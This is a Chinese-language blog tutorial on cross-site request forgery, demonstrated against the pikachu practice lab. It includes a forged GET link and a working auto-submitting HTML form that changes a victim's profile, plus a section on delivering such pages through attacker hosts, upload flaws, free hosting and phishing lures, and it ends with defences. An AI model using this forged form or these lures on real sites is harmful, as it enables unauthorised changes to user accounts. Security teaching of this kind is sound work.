CSRF漏洞详细讲解 并基于pikachu靶场实战演示

目录

[Cross-site request forgery](#Cross-site request forgery)

概念

故事引入

CSRF漏洞的原理类比

CSRF漏洞的定义

举个场景

为什么小黑的攻击可以成功?

条件1(被攻击网站):

条件2(被攻击用户):

CSRF与XSS的区别

如何确认一个web系统存在CSRF漏洞

实战演示

CSRF(get)

CSRF(post)

注释(现实攻击)

[方法 1:上传到自己的服务器 / 网站(最常用)](#方法 1:上传到自己的服务器 / 网站(最常用))

[方法 2:利用文件上传漏洞上传到目标服务器(高级)](#方法 2:利用文件上传漏洞上传到目标服务器(高级))

[方法 3:放在免费网页托管平台](#方法 3:放在免费网页托管平台)

[方法 4:伪装成图片、文档、邮件链接](#方法 4:伪装成图片、文档、邮件链接)

防范措施增加token验证(常用的做法))

增加token验证(常用的做法))

关于安全的会话管理(避免会话被利用):

访问控制安全管理:

增加验证码:

[加油各位( •̀ ω •́ )y 期待与君再相逢](#加油各位( •̀ ω •́ )y 期待与君再相逢)


Cross-site request forgery

概念

Cross-site request forgery 简称为"CSRF"。

在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接)然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了。

所以CSRF攻击也被称为"one click"攻击。

一次性点击攻击

故事引入

想象一下,你有一个超级酷的魔法存钱罐。这个存钱罐很特别,只要你说出"我要把钱转给XXX",它就会自动把钱转过去。而且,它还会自动记录你的声音(音色),只要以后听到你的声音指令,就会执行操作。你每天都会用它来存钱、转钱,用得很开心。

有一天,你的好朋友小明来找你玩。小明是个很聪明但有点调皮的人。他发现了一个很有趣的事情:你每次对存钱罐说话的时候,存钱罐都会仔细听,然后按照你说的去做。于是,小明就想了个坏主意。

小明偷偷地在你的房间里放了一个小喇叭。这个小喇叭可以播放预先录制好的声音。他悄悄地录下了你对存钱罐说"我要把钱转给小明100元"的声音。然后,趁你不注意的时候,他把小喇叭打开,存钱罐听到这个声音,就真的把100元转给了小明。你完全不知道这是怎么回事,还以为自己不小心说错了话呢。

CSRF漏洞的原理类比

这个故事其实就和CSRF(Cross - Site Request Forgery,跨站请求伪造)漏洞很像。我们把存钱罐想象成一个网站,而你对存钱罐说话,就像是你在网站上进行操作(比如提交表单、点击按钮等)。你(用户)登录了一个网站,网站会给你一个令牌(就像存钱罐记住你的声音一样),用来识别你是不是一个合法的用户。

而小明的行为,就相当于一个恶意的攻击者。他利用了你登录了网站这个状态,通过一些手段(比如伪造一个链接或者一个表单,就像小喇叭播放声音一样),让你在不知情的情况下,向网站发送了一个请求(就像存钱罐收到"转钱"指令一样)。这个请求是攻击者伪造的,但网站却误以为是你自己主动发起的,于是就按照请求执行了操作(比如转账、修改信息等)。

CSRF漏洞的定义

CSRF(Cross - Site Request Forgery)即跨站请求伪造,是一种攻击方式,攻击者利用用户登录状态,伪造请求,诱使用户在不知情的情况下执行恶意操作。

例如,用户登录网上银行后,攻击者通过伪造链接,让用户的浏览器自动向银行网站发送转账请求。

举个场景

这个场景演示pikachu靶场里面的场景

CSRF漏洞概述-举个场景来理解一下

小黑想要修改大白在购物网站www.xx.com上填写的会员地址。

正常情况下 想要修改信息是不是需要登录(而你一旦登录 浏览器就会记录你的cookie令牌)

而我们再点击提交那一刻,如果是通过get传参 所有信息是会直接暴露在url里面 如下图

为什么小黑的攻击可以成功?

条件1(被攻击网站):

xxx购物网站没有对个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造。

因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。

条件2(被攻击用户):

lucy在登录了后台的情况下,点击了小黑发送的"埋伏"链接。如果lucy不在登录状态下,或者lucy根本就没有点击这个链接,则攻击不会成功。(好骗)

条件多

所有说我们这个可以利用的难度比较大

安全意识 低

CSRF与XSS的区别

从我们的攻击流程能看出来咱们的xss和咱们的csrf都是通过伪造恶意请求,去诱导用户去点击

那这两个漏洞之间到底有什么区别?

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,

而XSS是直接盗取到了用户的权限,然后实施破坏。

根本不是一个层次的

一句话总结 csrf是借用用户的权限

xss是盗取用户的权限

如何确认一个web系统存在CSRF漏洞

1,对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造

---比如修改管理员账号时,并不需要验证旧密码,导致请求容易被伪造;

---比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造;

2.确认凭证的有效期(这个问题会提高CSRF被利用的概率)

---虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有及时过期,导致CSRF攻击变的简单

实战演示

CSRF(get)

一个简单的登录页面

在提示这里,有很多登录的用户

这里我们随便选择一个,比如说Lucy 下面是这个账号的基本信息

我们点击修改个人信息是可以进行一个基本信息的一个修改、删除和填写

这里会有一个报错 这个报错是每个人是每个人都会遇到的

原因就是源代码里面的名称和新php版本冲突

这里说一下怎么解决

打开下图文件

找到第70行 将 MYSQL_ASSOC 改成 MYSQLI_ASSOC 在后面加上大写的I

然后刷新就可以

那我怎么判断这个网站存在有一个CSRF漏洞的 然后这里我们是可以通过BP进行一个简单的查看

GET vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456&add=usa&email=lucy%40pikachu.com&submit=submit

你通过这个get传参啊,能看到我们在里面所输的基本信息,同时我也是能看到,这里是没有做到一个对咱们防止CSRF的一个措施

所有通过get传参进行提交

那小黑该怎么利用的,这小黑利用起来也比较简单啊。他怎么可以去拿这个链接呢?

小黑可以通过去注册,然后自己去修改自己信息,也是可以拿到这个相对应的链接的

我们把这个地址给补全了 所以说下面这个链接就是我们攻击者所伪造的链接

http://pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456&add=usa&email=lucy%40pikachu.com&submit=submit

然后我们就可以,把这个链接诱导咱们的Lucy进行一个点击

然后这时候恰巧咱们这个Lucy啊,他是一个正在登录状态

这是咱们一个CSRF get传参的一个攻击演示

CSRF(post)

那这里如果是POST传参,那该怎么去改呢

同样,我们首先是在改个人信息的时候,去用Bp去拦截一下,看看一下它的数据包

然后这就会发现啊,咱们这个所有参数是在这个post请求器里面进行传输的啊

所以说我们是没有办法通过伪造一个URL进行传输

之前的那个XSS是一样的啊,我们需要去布置一个自己的站点,然后在这个站点上面做一个表单啊,做一个表单,然后呢,让Lucy去点我们恶意站点的这个表单的URL。那通过这一个表单的URL呢,去向这个存在CSR漏洞的这个页面去提交这个请求就可以了

表单这个东西你要么通过一些工具去生成(比如BP)要么自己去编写HTML表单

如下图

html 复制代码
<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1">

<title></title>

</head>

<body>

<form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">

<input type="hidden" name="sex" value="非人类">

<input type="hidden" name="phonenum" value="10000000001">

<input type="hidden" name="add" value="太空">

<input type="hidden" name="email" value="myWord@pikachu.com">

<input type="hidden" name="submit" value="submit" />

<input type="submit" id="submit" value="Submit request" style="display: none;">

</form>

</body>

<script type="text/javascript">

window.onload = function(){

document.getElementById("submit").click();

}

</script>

</html>

放在你的 phpstudy 网站pikachu目录里

比如说http:pikachu/1.php

访问地址就可以构造成功

这里如果想更贴近网站 可以吧1.php改成csrf_post.php 同时也可以丰富HTML页面元素

因为我们这里仅用于教学演示 所以放到自己的本地的服务器

注释(现实攻击)

(攻击者怎么把表单放进目录 然后构造一个访问链接 诱导用户去点击 这并不是非要放到原目录下)

方法 1:上传到自己的服务器 / 网站(最常用)

攻击者自己有服务器,把这个文件命名为:
csrf.php

然后放在网站目录里,生成链接:

|-------------------------------------------------------------------------------------------------------------------------------|
| Plain Texthttp://攻击网站.com/csrf.php |

发给受害者:

  • "这是福利链接"
  • "帮我点一下"
  • "测试页面"

一点就中招。

方法 2:利用文件上传漏洞上传到目标服务器(高级)

如果目标网站允许上传 html,攻击者直接上传:
csrf.html

访问路径:

|-------------------------------------------|
| Plain Texthttp://目标网站/upload/csrf.php |

同源,更容易成功,隐蔽性极强!

方法 3:放在免费网页托管平台

  • GitHub Pages
  • 码云 Pages
  • 免费静态空间
  • 网盘直链

生成链接发给受害者。

方法 4:伪装成图片、文档、邮件链接

  • 短链接伪装
  • 二维码
  • 钓鱼邮件
  • 聊天软件发送

用户一点 → 自动执行攻击。

防范措施增加token验证(常用的做法)

增加token验证(常用的做法)

1,对关键操作增加token参数,token值必须随机,每次都不一样;

关于安全的会话管理(避免会话被利用):

1,不要在客户端端保存敏感信息(比如身份认证信息);

2,测试直接关闭,退出时,的会话过期机制;

3,设置会话过期机制,比如15分钟内无操作,则自动登录超时;

访问控制安全管理:

1,敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码;

2,敏感信息的修改使用post,而不是get;

3,通过http 头部中的referer来限制原页面

增加验证码:

一般用在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)

加油各位( •̀ ω •́ )y 期待与君再相逢

相关推荐
@insist1231 小时前
信息安全工程师-网络安全风险评估(下篇):风险计算、工具应用
网络·安全·软考·信息安全工程师·软件水平考试
杭州默安科技1 小时前
开发安全融入业务场景:四个核心难点与系统化应对路径
安全
祁_z1 小时前
Pydantic 数据校验 & 限流中间件(限制每个 IP 的请求频率,防止接口被刷爆)
网络协议·tcp/ip·中间件
Naiva1 小时前
【杂记】通用发动机、水泵及发电机组安全注意事项与故障检查指南
网络·安全
小短腿的代码世界1 小时前
Qt SSH2 深度解析:安全远程通信架构与源码级实现
qt·安全·架构
X7x51 小时前
终端检测与响应(EDR):企业安全防护的“数字哨兵“
网络安全·网络攻击模型·安全威胁分析·安全架构·edr
上海合宙LuatOS1 小时前
Air8000多网通信-NTP
服务器·arm开发·物联网·网络协议·luatos
工业机器人销售服务1 小时前
直面食品挑战:遨博不锈钢协作机器人如何守护“舌尖上的安全”
安全·机器人
cc4422bb1 小时前
网络作业。
网络